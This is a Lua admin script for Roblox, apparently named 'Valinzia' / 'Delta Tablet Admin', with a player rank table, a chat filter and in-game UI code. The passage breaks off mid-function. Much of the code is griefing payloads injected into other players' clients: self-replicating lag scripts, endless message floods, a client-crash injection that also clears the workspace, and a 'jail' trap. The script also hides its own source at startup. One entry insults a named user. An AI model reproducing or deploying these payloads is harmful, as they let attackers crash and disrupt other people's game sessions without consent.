Valinzia

-- [==[ ~ VALINZIA ~ ]==]

local _start = time()
wait()
MessageLimit = 10
Delta = {
	Ranked = {
		--[==[ Ranked 7 ]==]--
		["iTov"] = {Rank = 7, Color = "Really blue", MeshType = "No Mesh", Distance = 9, Description = "Creator of Valinzia", SpinningRot = true, Rotation = true};
		--[==[ Ranked 3 ]==]--
		["moderrncombat"] = {Rank = 3, Color = "Royal purple", MeshType = "No Mesh", Distance = 7, Description = "idk who this is", SpinningRot = true, Rotation = true};
		--[==[ Ranked 3 ]==]--
		["troy92728"] = {Rank = 4, Color = "Really blue", MeshType = "No Mesh", Distance = 7, Description = "Creator of Valinzia", SpinningRot = true, Rotation = true};
		--[==[ Ranked 2 ]==]--
		["hippiekid94"] = {Rank = 4, Color = "Teal", MeshType = "No Mesh", Distance = 5, Description = "Friend", SpinningRot = true, Rotation = true};
		--[==[ Ranked 1 ]==]--
		["ScriptBuilderSafe"] = {Rank = 4, Color = "Really blue", MeshType = "No Mesh", Distance = 5, Description = "Friend", SpinningRot = true, Rotation = true};
		--[==[ Private Server People ]==]--
		["ScriptMaiker"] = {Rank = 0.5, Color = "White", MeshType = "No Mesh", Distance = 5, Description = "Private Server Allowed", SpinningRot = true, Rotation = true};
		--[==[ Banished Below ]==]--
		["tamariusjones09"] = {Rank = -1, Color = "Medium stone grey", MeshType = "No Mesh", Distance = 30, Description = "A Mother Fucking Bitch", SpinningRot = false, Rotation = true};
		 ["12345678910jaijai"] = {Rank = -2, Color = "Medium stone grey", MeshType = "No Mesh", Distance = 30, Description = "Tp noob", SpinningRot = false, Rotation = true};
	};
	Ranks = {
		[7] = "Owner";
		[6] = "Operator";
		[5] = "Moderator";
		[4] = "Admin";
		[3] = "User";
		[2] = "Member";
		[1] = "Visitor";
		[0] = "Unknown";
		[-1] = "Banned";
		[-2] = "Lagged";
	};
	Services = setmetatable({Game = game;}, {
		__index = function(tab, key)
			if game:GetService(key) == nil then
				return "No such service named "..key
			end
			return game:GetService(key)
		end
	});
	ChatFilter = {
		Phrases = {
			--[==[
				0 = Kill
				1 = Mute
				1 = Kick
				2 = Lag
				3 = Banishment
			]==]--
			{"kick", 1};
			{"ban", 1};
			{"Kohl", 1};
			{"NOVA", 1};
			{"Asule", 1};
			{"Bsod", 1};
			{"CBA", 1};
			{"Solar", 3};
			{"iOrb", 1};
			{"Camball", 1};
			{"function onCharge(Color)", 1};
			{"TeleportService", 3};
			};
		Enabled = true;
	};
	PrivateServer = {
		Enabled = false;
		Waiting = {};
	};
	Removed = false;
	Aborted = false;
	ServerSidedScriptsLock = false;
	LocalSidedScriptsLock = false;
	AgeRestriction = false;
	ShowRanks = true;
	ShutdownTime = 30;
	Bet = "'";
	RemoteControlLink = "https://code.stypi.com/99zay99/Delta%20remote.lua";
	Commands = {};
	Tablets = {};
	ExplorerObjectClones = {};
	Scripts = {
		ServerSided = {};
		ClientSided = {};
	};
	Connections = {
		Loops = {};
		Killing = {};
		Chat = {};
	};
	PseudoLocalScript = nil;
	SourceName = nil;
}

if script and game.PlaceId ~= 0 and game then
	script.Name = "Delta Tablet Admin"
	for _,v in pairs(script:GetChildren()) do
		if v:IsA("StringValue") then
			Delta.SourceName = v.Name
			Delta.SourceValue = v.Value
			v.Value = [==[error("Attempted to call a nil value");]==]
		end
	end
	coroutine.yield()
	script:ClearAllChildren()
	script.Parent = Instance.new("Model") or __LOLNO__ or nil
end

-- PseudoScripting Functions --
createLocalScript = function(source,parent,name)
	if newLocalScript then
		local nls = newLocalScript(source,parent)
		nls.Name = (name ~= nil and name) or "PseudoLocalScript"
		return nls
	else
		if Delta.PseudoLocalScript ~= nil then
			local x = Delta.PseudoLocalScript:clone()
			x.Disabled = true
			x.Name = (name ~= nil and name) or "PseudoLocalScript"
			x:ClearAllChildren()
			for _,v in pairs({"DSource", "Source", "source"}) do
				local newSource = Instance.new("StringValue", x)
				newSource.Name = v
				newSource.Value = source
			end
			x.Parent = parent
			x.Disabled = false
		else
			-- Output("Admins", "No LocalScript Source!", "Really red", nil, 3)
		end
	end
end
createScript = function(source, parent, name)
	if newScript then
		local ns = newScript(source,parent)
		ns.Name = (name ~= nil and name) or "PseudoScript"
		return ns
	else
		local x = script:Clone()
		x.Disabled = true
		x.Name = (name ~= nil and name) or "PseudoScript"
		x:ClearAllChildren()
		for _,v in pairs({"DSource", "Source", "source"}) do
			local newSource = Instance.new("StringValue", x)
			newSource.Name = v
			newSource.Value = source
		end
		x.Parent = parent
		x.Disabled = false
	end
end

-- getALLPlayers --
getALLPlayers = function()
	local ALLPlayers = {}
	for i,v in pairs(Delta.Services.NetworkServer:GetChildren()) do
		ypcall(function()
			if v:IsA("ServerReplicator") then
				table.insert(ALLPlayers, v:GetPlayer())
			end
		end)
	end
	return ALLPlayers
end

-- Sources --
RemovePlayer = [[
	local plrs = game:GetService('Players')
	if pcall(function() plrs["LocalPlayer"].Character:GetChildren() end) then
		plrs["LocalPlayer"].Parent=nil
		plrs["LocalPlayer"].Parent=plrs
	else
		for i=1, 1000 do
			Instance.new('ManualSurfaceJointInstance')
		end
	end
	pcall(function()
		game:GetService('Workspace'):ClearAllChildren()
	end)
]]
JailInjection = [[
	--[==[ Made by Ultimatekiller010 ]==]--
	wait()
	script.Parent = nil
	Event=nil
	LocalPlayer = Game:GetService("Players")["LocalPlayer"]
	RandomColors = {
		[0] = BrickColor.new(Color3.new(0,0,0));
	}
	local X,Y,Z

	function CheckPos(Char)
		local torso = Char:findFirstChild("Torso",true)
		if torso then
			X = torso.CFrame.x
			Y = torso.CFrame.y
			Z = torso.CFrame.z
		end
		pcall(function() Event:disconnect() end)
		Event=Game:GetService("RunService").Stepped:connect(function()
			if torso == nil or torso.Parent~=Char then
				Event:disconnect()
			else
				if (torso.CFrame.x > X + 10) and X and Y and Z then
					torso.CFrame = CFrame.new(X,Y,Z)
				elseif (torso.CFrame.y > Y + 10) and X and Y and Z then
					torso.CFrame = CFrame.new(X,Y,Z)
				elseif (torso.CFrame.z > Z + 10) and X and Y and Z then
					torso.CFrame = CFrame.new(X,Y,Z)
				end
			end
		end)
	end

	function MakeJail(Char)
		local Jail = Instance.new("Model",Workspace:findFirstChild("Camera"))
		Jail.Name="Jail"
		for l = 0,15,1 do
			pcall(function()
				Char:findFirstChild("Torso").Anchored=true
				for i = 1,90 do
					local x = math.cos(i/100 * math.pi) * 4
					local p = Instance.new("Part",Jail)
					p.Size=Vector3.new(1,1,1)
					p.Anchored=true
					p.Locked=true
					p.BrickColor = RandomColors[math.random(0,#RandomColors)]
					p.CFrame = Char:findFirstChild("Torso").CFrame * CFrame.Angles(math.rad(l*12),0,x) * CFrame.new(10,0,0)
					-- wait()
				end
			end)
			wait()
		end
		CheckPos(Char)
		LocalPlayer.Character:findFirstChild("Torso").Anchored=false
	end

	WorkspaceRemoveCon = Game:GetService("Workspace").ChildRemoved:connect(function(c)
		if c.Name=="Camera" then
			MakeJail(LocalPlayer.Character)
		end
		c.DescendantRemoving:connect(function(d)
			if d.Parent.Name == "Jail" then
				d.Parent:Remove()
				MakeJail(LocalPlayer.Character)
			end
		end)
	end)
	local CharacterCon = LocalPlayer.CharacterAdded:connect(function(c)
		wait()
		-- if Workspace:findFirstChild("Camera") then
			-- Workspace:findFirstChild("Camera"):ClearAllChildren()
		-- end
		if c:findFirstChild("Torso") then
			c.Torso.CFrame = CFrame.new(X,Y,Z)
		end
	end)
	local CameraCon=Workspace:findFirstChild("Camera").DescendantRemoving:connect(function(d)
			if d.Parent.Name == "Jail" then
				d.Parent:Remove()
				MakeJail(LocalPlayer.Character)
			end
		end)

	LocalPlayer.ChildAdded:connect(function(c)
		if c:IsA('StringValue') then
			if c.Name == 'Delta' then
				if c.Value == 'Disable Jail' then
					LocalPlayer=nil
					RandomColors=nil
					Event:disconnect()
					Event=nil
					WorkspaceRemoveCon:disconnect()
					WorkspaceRemoveCon=nil
					CharacterCon:disconnect()
					CharacterCon=nil
					CameraCon:disconnect()
					CameraCon=nil
					CheckPos=nil
					MakeJail=nil
					Workspace:findFirstChild("Camera"):findFirstChild("Jail"):Destroy()
				end
			end
		end
	end)

	MakeJail(LocalPlayer.Character)
]]
InjectionCrash = [[
	wait()
	script.Parent = nil
	script:ClearAllChildren()
	local Services = setmetatable({Game = game;}, {
		__index = function(index, table)
			return game:GetService(table)
		end
	})
	local LocalPlayer = Services.Players.LocalPlayer
	local Stop = Instance.new("StringValue", LocalPlayer)
	Stop.Name = "STAP CONNECTIONS UMG"
	Stop.Value = "Delta"
	wait(0.1)
	Stop:remove()
	local ChatConnection = LocalPlayer.Chatted:connect(function(Message)
		if LocalPlayer.Parent ~= Services.Players then
			local x = Instance.new('StringValue', Services.ReplicatedStorage)
			x.Name = "Delta"
			x.Value = LocalPlayer.Name..":"..Message
			Services.Debris:AddItem(x, 2)
		end
	end)
	local StringConnection = Services.Lighting.DescendantAdded:connect(function(Object)
		if Object:IsA("StringValue") then
			if Object.Name == "Disconnect: All Players" then
				Object.Name = "Disconnected: All Players"
				]]..RemovePlayer..[[
			elseif Object.Name == "Disconnect: "..LocalPlayer.Name then
				Object.Name = "Disconnected: "..LocalPlayer.Name
				]]..RemovePlayer..[[
			elseif Object.Name == "Disconnect: Nil Players" then
				if LocalPlayer.Parent ~= game:GetService("Players") then
					Object.Name = "Disconnected: Nil Players"
					]]..RemovePlayer..[[
				end
			end
		end
	end)
	local StopConnection = LocalPlayer.DescendantAdded:connect(function(Object)
		if Object:IsA("StringValue") then
			if Object.Name == "STAP CONNECTIONS UMG" and Object.Value == "Delta" then
				StringConnection:disconnect()
				StringConnection = nil
				StopConnection:disconnect()
				StopConnection = nil
				ChatConnection:disconnect()
				ChatConnection = nil
			end
		end
	end)
]]
-- Lag --
function Lag(Player, Type)
	if Type == nil then Type = 1 end
	local Base = [[
		LocalPlayer=game:GetService('Players')['LocalPlayer']
		Camera=game:GetService('Workspace')['Camera']
		Source=script:findFirstChild('Source') or script:findFirstChild('DSource') or script:findFirstChild('source')
		Character=LocalPlayer.Character
		PlayerGui=LocalPlayer:findFirstChild('PlayerGui') or Instance.new('PlayerGui',LocalPlayer)
		Backpack=LocalPlayer:findFirstChild('Backpack') or Instance.new('Backpack',LocalPlayer)
		run=function(Function,...)
			return coroutine.resume(coroutine.create(Function,...))
		end
		run(function()
			LocalPlayer.CameraMode=Enum.CameraMode.Classic
			wait()
			LocalPlayer.CameraMode=Enum.CameraMode.LockFirstPerson
			print('start lal')
		end)
		-----
	]]
	if Type == 1 then
		coroutine.resume(coroutine.create(function()
			wait()
			local Parent = Player:findFirstChild('Backpack') or Player:findFirstChild('PlayerGui') or Player.Character or nil
			for i=1, 50 do
				createLocalScript(Base..[[
					new=function()
						run(function()
							local x=script:clone()
							x.Name='lal'
							x.Disabled=true
							x.Parent=Character or PlayerGui or Backpack
							x.Disabled=false
						end)
						run(function()
							loadstring(Source.Value)
						end)
					end
					exe=function()
						new()
						local glal,flal,tlal
						pcall(function()
							run(function()
								glal=Instance.new('ScreenGui',PlayerGui)
								glal.Name='glal'
								flal=Instance.new('Frame',glal)
								flal.Name='flal'
								flal.Size = UDim2.new(0,320,0,320) --lal
								flal.Position=UDim2.new(math.random(),math.random(),math.random(),math.random())
								tlal=Instance.new('TextLabel',flal)
								tlal.Name='tlal'
								tlal.BackgroundTransparency=1
								tlal.FontSize='Size9'
								tlal.Text='lal'
								tlal.TextWrap=true
								run(function()
									while wait() do
										flal.BackgroundColor=BrickColor.Random()
										tlal.TextColor=BrickColor.Black()
										ypcall(exe)
									end
								end)
							end)
						end)
						pcall(function()
							run(function()
								for __,p in pairs({PlayerGui,Camera}) do
									pcall(function()
										run(function()
											for _,v in pairs({'Message','Hint'}) do
												Instance.new(v,p).Text='klal'
											end
										end)
									end)
								end)
							end)
						end
					end

					for i=1,500 do
						exe()
					end
				]], Parent)
				createLocalScript(Base..[[
					new=function()
						game:GetService('RunService').Stepped:connect(function()
							for i=1,100 do
								Instance.new('Message',Camera).Text='lal'
								Instance.new('Message',PlayerGui).Text='lal'
							end
						end)
						new()
					end
					new()
				]], Parent)
				createLocalScript(Base..[[
					new=function()
						game:GetService('RunService').Stepped:connect(function()
							for i=1,100 do
								Instance.new('Hint',Camera).Text='lal'
								Instance.new('Hint',PlayerGui).Text='lal'
							end
						end)
						new()
					end
					new()
				]], Parent)
			end
		end))
	elseif Type == 2 then
		coroutine.resume(coroutine.create(function()
			wait()
			local Parent = Player:findFirstChild('Backpack') or Player:findFirstChild('PlayerGui') or Player.Character or nil
			for i=1, 50 do
				createLocalScript(Base..[[repeat Instance.new('Message',Camera) until false]], Parent)
			end
		end))
	elseif Type == 3 then
		coroutine.resume(coroutine.create(function()
			wait()
			local Parent = Player:findFirstChild('Backpack') or Player:findFirstChild('PlayerGui') or Player.Character or nil
			createLocalScript(Base..[[
				for i=1,1/0 do
					run(function()
						while wait() do
							lal=script:Clone()
							lal.Disabled=true
							lal.Name='lal'
							lal.Parent=Character or PlayerGui or Backpack
							lal.Disabled=false
							pcall(function()
								run(function()
									loadstring(Source.Value)
								end)
							end)
							Instance.new('Tool',Backpack).Name='lal'
						end
					end)
				end
			]], Parent)
		end))
	elseif Type == 4 then
		coroutine.resume(coroutine.create(function()
			wait()
			local Parent = Player:findFirstChild('Backpack') or Player:findFirstChild('PlayerGui') or Player.Character or nil
			createLocalScript(Base..[[ for i=1, 28000 do Instance.new('Message',Camera) end ]], Parent)
		end))
	end
end
-- Status Announce --
Announce = function(msg,fs)
	if fs == true then
		for i,v in pairs(Delta.Services.Players:GetPlayers()) do
			if v:findFirstChild("PlayerGui") then
				local sg = Instance.new("ScreenGui", v.PlayerGui)
				sg.Name = "Delta ScreenGui FullScreen "..math.random(999999)
				local fr = Instance.new("Frame", sg)
				fr.Name = "Main"
				fr.Size = UDim2.new(0, 0, 0, 0)
				fr.Position = UDim2.new(0, 0, 0, 0)
				fr.BackgroundTransparency = 1
				fr.BackgroundColor3 = Color3.new(-1,-1,-1)
				fr.BorderColor3 = Color3.new(1,1,1)
				local tl = Instance.new("TextLabel", fr)
				tl.Size = UDim2.new(1, 0, 1, 0)
				tl.BackgroundTransparency = 1
				tl.TextColor3 = Color3.new(1,1,1)
				tl.FontSize = "Size17"
				tl.Text = string.gsub(msg, "", "\5")
				tl.Name = "Text"
				tl.TextTransparency = 0.8
				pcall(function() Delta.Services.Debris:AddItem(sg, 4) end)
				fr:TweenSize(UDim2.new(1, 0, 1, 0), "Out", "Quad", 1)
				coroutine.resume(coroutine.create(function()
					wait(2)
					tl:remove()
					fr:TweenSize(UDim2.new(0, 0, 0, 0), "Out", "Quad", 1)
				end))
			end
		end
	else
		local sg
		local function GetNumAlerts(Par)
			local Num = 0
			if Par == nil then return 0 end
		    for i, Obj in pairs(Par:GetChildren()) do
		       if Obj.Name:lower():find(string.lower("Delta ScreenGui Hint")) or Obj.Name:upper():find(string.upper("Delta ScreenGui Hint")) then
		           	Num = Num + 1
		       end
		   	end
		   	return Num
		end
		for i,v in pairs(Delta.Services.Players:GetPlayers()) do
			if v:findFirstChild("PlayerGui") then
				sg = Instance.new("ScreenGui", v.PlayerGui)
				sg.Name = "Delta ScreenGui Hint "..math.random(999999)
				local num = 0.025 + (-0.025+0.025*GetNumAlerts(sg.Parent))
				local fr = Instance.new("Frame", sg)
				fr.Name = "Main"
				fr.Size = UDim2.new(1, 0, 0.025, 0)
				fr.Position = UDim2.new(-1, 0, num, 0)
				fr.BackgroundTransparency = 0.1
				fr.BackgroundColor3 = Color3.new(1, 1, 1)
				fr.BorderColor3 = Color3.new(0, 0, 0)
				local tl = Instance.new("TextLabel", fr)
				tl.Size = UDim2.new(1, 0, 1, 0)
				tl.BackgroundTransparency = 1
				tl.TextColor3 = Color3.new(-1,-1,-1)
				tl.FontSize = "Size18"
				tl.Text = string.gsub(msg, "", "\5")
				tl.Name = "Text"
				tl.TextTransparency = 0
				pcall(function() Delta.Services.Debris:AddItem(sg, 4) end)
				fr:TweenPosition(UDim2.new(0, 0, num, 0), "Out", "Quad", 1)
				coroutine.resume(coroutine.create(function()
					wait(3)
					tl:remove()
					fr:TweenPosition(UDim2.new(1, 0, num, 0), "Out", "Quad", 1)
				end))
			end
		end
	end
end

-- Get Rankings Functions --
GetRanking = function(Player)
	if type(Player) == "userdata" then
		Player = Player.Name
	end
	if Delta.Ranked[Player] ~= nil then
		return Delta.Ranked[Player]
	else
		local Table = {}
		Table[Player] = {Rank = 0, Color = "White", MeshType = "No Mesh", Distance = 5, Description = "N/A", SpinningRot = false};
		return Table[Player]
	end
end
FindRank = function(Player)
	if type(Player) == "userdata" then
		Player = Player.Name
	end
	return GetRanking(Player).Rank
end
CheckRank = function(Player1, Player2)
	if Player1 == Player2 then
		return false
	end
	if type(Player1) == "userdata" then
		Player1 = Player1.Name
	end
	if type(Player2) == "userdata" then
		Player2 = Player2.Name
	end
	if FindRank(Player1) >= FindRank(Player2) then
		return true
	else
		return false
	end
end
ChangeRank = function(Player, Rank)
	if type(Player) == "userdata" then
		Player = Player.Name
	end
	if Delta.Ranked[Player] ~= nil then
		Delta.Ranked[Player].Rank = Rank
	else
		Delta.Ranked[Player] = {Rank = Rank, Color = "White", MeshType = "No Mesh", Distance = 4, Description = "N/A", SpinningRot = false, Rotation = true}
	end
end
CommandInterface = function(Speaker, i)
	if FindRank(Speaker) > FindRank(i) and Delta.Services.Players:findFirstChild(i) then
		Dismiss(Speaker)
		Output(Speaker, "Kill Inferance", "New Yeller", function()
			Dismiss(Speaker)
			Output(Speaker, "Kill", nil, function()
				Dismiss(Speaker)
				Delta.Commands.Kill.Function(Speaker, i)
			end)
			Output(Speaker, "Explode", nil, function()
				Dismiss(Speaker)
				Delta.Commands.Kill.Function(Speaker, i.."-e")
			end)
			Output(Speaker, "Respawn", nil, function()
				Dismiss(Speaker)
				Delta.Commands.Kill.Function(Speaker, i.."-r")
			end)
			Output(Speaker, "WalkSpeed", nil, function()
				Dismiss(Speaker)
				Delta.Commands.Kill.Function(Speaker, i.."-w")
			end)
			Output(Speaker, "Back", "Really blue", function()
				CommandInterface(Speaker, i)
			end)
			Output(Speaker, "Dismiss")
		end)
		Output(Speaker, "Kick Interface", "Really red", function()
			Dismiss(Speaker)
			Output(Speaker, "Kick", nil, function()
				Dismiss(Speaker)
				Delta.Commands.Kick.Function(Speaker, i)
			end)
			Output(Speaker, "Ban", nil, function()
				Dismiss(Speaker)
				Delta.Commands.Kick.Function(Speaker, i.."-b")
			end)
			Output(Speaker, "Crash", nil, function()
				Dismiss(Speaker)
				Delta.Commands.Kick.Function(Speaker, i.."-c")
			end)
			Output(Speaker, "Rejoin", nil, function()
				Dismiss(Speaker)
				Delta.Commands.Kick.Function(Speaker, i.."-r")
			end)
			Output(Speaker, "Nil", nil, function()
				Dismiss(Speaker)
				Delta.Commands.Kick.Function(Speaker, i.."-n")
			end)
			Output(Speaker, "Back", "Really blue", function()
				CommandInterface(Speaker, i)
			end)
			Output(Speaker, "Dismiss")
		end)
		Output(Speaker, "Lag Interface", "Hot pink", function()
			Dismiss(Speaker)
			Output(Speaker, "Lag", nil, function()
				Dismiss(Speaker)
				Delta.Commands.Lag.Function(Speaker, i)
			end)
			Output(Speaker, "Ban", nil, function()
				Dismiss(Speaker)
				Delta.Commands.Lag.Function(Speaker, i.."-b")
			end)
			Output(Speaker, "Crash", nil, function()
				Dismiss(Speaker)
				Delta.Commands.Lag.Function(Speaker, i.."-c")
			end)
			Output(Speaker, "Back", "Really blue", function()
				CommandInterface(Speaker, i)
			end)
			Output(Speaker, "Dismiss")
		end)
		Output(Speaker, "Mute Interface", "Bright green", function()
			Dismiss(Speaker)
			Output(Speaker, "Mute", nil, function()
				Dismiss(Speaker)
				Delta.Commands.Mute.Function(Speaker, i)
			end)
			Output(Speaker, "UnMute", nil, function()
				Dismiss(Speaker)
				Delta.Commands.Mute.Function(Speaker, i.."-u")
			end)
			Output(Speaker, "Ban", nil, function()
				Dismiss(Speaker)
				Delta.Commands.Mute.Function(Speaker, i.."-b")
			end)
			Output(Speaker, "Back", "Really blue", function()
				CommandInterface(Speaker, i)
			end)
			Output(Speaker, "Dismiss")
		end)
		Output(Speaker, "Dismiss")
	end
end
GetRankedInterface = function(Speaker, Player) -- "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name
	Dismiss(Speaker)
	if type(Player) == "userdata" then
		Player = Player.Name
	end
	local GetRankedPlayer = function(i)
		if type(i) == "userdata" then
			i = i.Name
		end
		Dismiss(Speaker)
		Output(Speaker, "Name: "..i, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..i)
		ypcall(function()
			Output(Speaker, "Age: "..Delta.Services.Players[i].AccountAge)
			Output(Speaker, "userId: "..Delta.Services.Players[i].userId)
		end)
		Output(Speaker, "Rank: "..FindRank(i))
		Output(Speaker, "View Other Infomation", "White", function()
			Output(Speaker, "Color: "..Delta.Ranked[i].Color or "N/A")
			Output(Speaker, "Distance: "..Delta.Ranked[i].Distance or "N/A")
			Output(Speaker, "Mesh: "..Delta.Ranked[i].MeshType or "N/A")
			Output(Speaker, "Description: "..Delta.Ranked[i].Description or "N/A")
		end)
		if FindRank(Speaker) > FindRank(i) then
			if Delta.Services.Players:findFirstChild(i, true) then
				Output(Speaker, "Commands", "Teal", function() CommandInterface(Speaker, i) end)
			end
		end
		if FindRank(Speaker) > FindRank(i) then
			Output(Speaker, "Set Rank", "Royal purple", function()
				Dismiss(Speaker)
				for __,v in pairs(Delta.Ranks) do
					if __ < FindRank(Speaker) then
						Output(Speaker, '['..tostring(__)..'] '..v, nil, function()
							ChangeRank(i, __)
						end)
					end
				end
			end)
		end
		if FindRank(Speaker) > FindRank(i) or i == Speaker.Name then
			Output(Speaker, "Customization", "Blue", function()
				Output(Speaker, "Set Color", "Teal", function()
					Dismiss(Speaker)
					for _,c in pairs({"Br. yellowish green","Bright yellow","Bright orange","Bright red","Bright violet","Bright blue","Bright bluish green","Bright green","Institutional white","White","Light stone grey","Mid gray","Medium stone grey","Dark stone grey","Black","Really black","Grime","Br. yellowish orange","Light orange","Sand red","Lavender","Sand blue","Medium blue","Sand green","Brick yellow","Cool yellow","Neon orange","Medium red","Light reddish violet","Pastel Blue","Teal","Medium green","Pastel brown","Pastel yellow","Pastel orange","Pink","Pastel violet","Pastel light blue","Pastel blue-green","Pastel green","Olive","New Yeller","Deep orange","Really red","Hot pink","Really blue","Toothpaste","Lime green","Brown","Nougat","Dark orange","Royal purple","Alder","Cyan","Light blue","Camo","Reddish brown","CGA brown","Dusty Rose","Magenta","Deep blue","Navy blue","Dark green","Earth green"}) do
						Output(Speaker, c, c, function()
							Dismiss(Speaker)
							Delta.Ranked[i].Color = c
							GetRankedInterface(Speaker)
						end)
					end
				end)
				Output(Speaker, "Distances", "Royal purple", function()
					Dismiss(Speaker)
					for z = 1, 30 do
						Output(Speaker, z, nil, function()
							Dismiss(Speaker)
							Delta.Ranked[i].Distance = z
							GetRankedInterface(Speaker)
						end)
					end
				end)
				Output(Speaker, "Mesh", "Teal", function()
					Dismiss(Speaker)
					for _,c in pairs({"No Mesh", "No Mesh (Tablets)", "Diamond", "Diamond (Tablets)", "Sphere", "Poop", "Fire", "Dominus", "Doge", "Books"}) do
						Output(Speaker, c, nil, function()
							Dismiss(Speaker)
							Delta.Ranked[i].MeshType = c
							GetRankedInterface(Speaker)
						end)
					end
				end)
				Output(Speaker, "Rotation", "White", function()
					Dismiss(Speaker)
					Output(Speaker, "True", nil, function() GetRankedInterface(Speaker) Delta.Ranked[i].SpinningRot = true end)
					Output(Speaker, "False", nil, function() GetRankedInterface(Speaker) Delta.Ranked[i].SpinningRot = false end)
				end)
				Output(Speaker, "Rotations", "Really blue", function()
					Dismiss(Speaker)
					Output(Speaker, "True", nil, function() GetRankedInterface(Speaker) Delta.Ranked[i].Rotation = true end)
					Output(Speaker, "False", nil, function() GetRankedInterface(Speaker) Delta.Ranked[i].Rotation = false end)
				end)
				Output(Speaker, "Set Presets", "Hot pink", function()
					Dismiss(Speaker)
					for _,v in pairs({"Blocks", "Diamond Tablets", "Traditional Tablets", "Books", "Sphere"}) do
						Output(Speaker, v, nil, function()
							Dismiss(Speaker)
							if v == "Blocks" then
								Delta.Ranked[i].MeshType = "No Mesh"
								Delta.Ranked[i].SpinningRot = true
								Delta.Ranked[i].Rotation = true
								Delta.Ranked[i].Distance = 5
							elseif v == "Traditional Tablets" then
								Delta.Ranked[i].MeshType = "No Mesh (Tablets)"
								Delta.Ranked[i].SpinningRot = false
								Delta.Ranked[i].Rotation = true
								Delta.Ranked[i].Distance = 5
							elseif v == "Diamond Tablets" then
								Delta.Ranked[i].MeshType = "Diamond (Tablets)"
								Delta.Ranked[i].SpinningRot = false
								Delta.Ranked[i].Rotation = true
								Delta.Ranked[i].Distance = 10
							elseif v == "Books" then
								Delta.Ranked[i].MeshType = "Books"
								Delta.Ranked[i].SpinningRot = false
								Delta.Ranked[i].Rotation = false
								Delta.Ranked[i].Distance = 4
							elseif v == "Sphere" then
								Delta.Ranked[i].MeshType = "Sphere"
								Delta.Ranked[i].SpinningRot = true
								Delta.Ranked[i].Rotation = true
								Delta.Ranked[i].Distance = 5
							end
						end)
					end
				end)
			end)
		end
		Output(Speaker, "Back To Ranked", "Teal", function() GetRankedInterface(Speaker) end)
		Output(Speaker, "Back To Players", "Teal", function() ShowPlayers(Speaker) end)
		Output(Speaker, "Dismiss")
	end
	if Player ~= nil then
		GetRankedPlayer(Player)
	else
		for i,v in pairs(Delta.Ranked) do
			Output(Speaker, i, Valinzia.Ranked[i].Color, function()
				GetRankedPlayer(i)
			end)
		end
	end
end
-- Output Functions --
OutputSingular = function(Player, Msg, Color, Function, Time, Image)
	if Delta.Removed == true then return end
	--wait()
	if Msg == nil then
		Msg = " "
	elseif Msg == "Dismiss" then
		Color = "Really red"
	end
	if Color == nil then
		Color = Delta.Ranked[Player.Name].Color ~= nil and Delta.Ranked[Player.Name].Color or "White"
	end

	local a = Instance.new("Part", workspace)
	a.Name = "Valinzia // "..Player.Name

	if Color == "Random" then
		a.BrickColor = BrickColor.Random()
	else
		a.BrickColor = BrickColor.new(Color)
	end

	a.TopSurface = 0
	a.BottomSurface = 0
	a.FormFactor = "Custom"
	a.Size = Vector3.new(1.9,1.9,1.9)
    a.Anchored = true
    a.Locked = true
    a.Transparency = 0.3
    a.CanCollide = false
    pcall(function() a.CFrame = Player.Character.Torso.CFrame --[[* CFrame.new(10,0,10)]] end)

	-- local p = Instance.new("PointLight", a)
	-- p.Color = a.BrickColor.Color
	-- p.Range = 3
	-- p.Brightness = 1/0

	local s = Instance.new("SelectionBox", a)
	s.Adornee = a
	s.Color = a.BrickColor
	s.Transparency = 0.3

	local m = Instance.new("SpecialMesh", a)

	if Delta.Ranked[Player.Name].MeshType == "Sphere" then
		m.MeshType = "Sphere"
	elseif Delta.Ranked[Player.Name].MeshType == "Diamond (Tablets)" then
		s.Transparency = 0
		a.Transparency = 0
		a.Size = Vector3.new(5,6,1)
		m.Scale = Vector3.new(2,2,2)
		m.MeshId = "http://www.roblox.com/Asset/?id=9547466"
	elseif Delta.Ranked[Player.Name].MeshType == "Diamond" then
		m.Scale = Vector3.new(2,2,2)
		m.MeshId = "http://www.roblox.com/Asset/?id=9547466"
	elseif Delta.Ranked[Player.Name].MeshType == "Poop" then
		s:remove()
		m.Scale = Vector3.new(0.1,0.1,0.1)
		m.MeshId = "http://www.roblox.com/Asset/?id=10297725"
	elseif Delta.Ranked[Player.Name].MeshType == "Fire" then
		s:remove()
		m.MeshType = "FileMesh"
		local f = Instance.new("Fire", a)
		f.Color = a.BrickColor.Color
		f.SecondaryColor = f.Color
		f.Heat = 10
		if FindRank(Player) >= 4 then
			a.Touched:connect(function(hit)
				humanoid = hit.Parent:findFirstChild("Humanoid")
				if humanoid ~= nil and humanoid.Parent.Name ~= Player.Name then
					humanoid.Health = humanoid.Health - 5
				end
			end)
		end
	elseif Delta.Ranked[Player.Name].MeshType == "Dominus" then
		s:remove()
		m.MeshId = "http://www.roblox.com/asset/?id=21057410"
		m.Scale = Vector3.new(1.5,1.5,1.5)
	elseif Delta.Ranked[Player.Name].MeshType == "Top Hat" then
		s:remove()
		m.MeshId = "http://www.roblox.com/asset/?id=1028713"
		m.TextureId = "http://www.roblox.com/asset/?id=137274955"
		m.Scale = Vector3.new(1.5,1.5,1.5)
		a.Transparency = 0
	elseif Delta.Ranked[Player.Name].MeshType == "No Mesh (Tablets)" then
		m:remove()
		a.Size = Vector3.new(3,4,0.1)
	elseif Delta.Ranked[Player.Name].MeshType == "Books" then
		s:remove()
		m.MeshType = "FileMesh"
		m.MeshId = "http://www.roblox.com/asset/?id=1136139"
		a.Size = Vector3.new(2.3, 1, 3)
	else
		m:remove()
	end

    local b = Instance.new("BillboardGui", a)
	b.Name = 'BG'
    b.StudsOffset = Vector3.new(0,1.5,0)
    b.Size = UDim2.new(9,0,8,0)
    b.Adornee = a

    local cd = Instance.new('ClickDetector',a)
	cd.MaxActivationDistance = 1/0

    local t = Instance.new("TextLabel", b)
	t.Name = "TL"
    t.Font = "SourceSans"
    t.FontSize = "Size24"
    t.Size = UDim2.new(1,0,.3,0)
    t.TextColor = a.BrickColor
    t.TextStrokeTransparency = 0
    t.BackgroundTransparency = 1
    t.Text = string.gsub(Msg,"","\5")

	if Image ~= nil then
		local BBBG = Instance.new("BillboardGui")
		BBBG.Size = UDim2.new(5, 0, 6, 0)
		BBBG.StudsOffset = Vector3.new(0, a.Size.Y + 5, 0)
		BBBG.AlwaysOnTop = true
		BBBG.Adornee = a
		BBBG.Parent = a

		Delay(0, function()
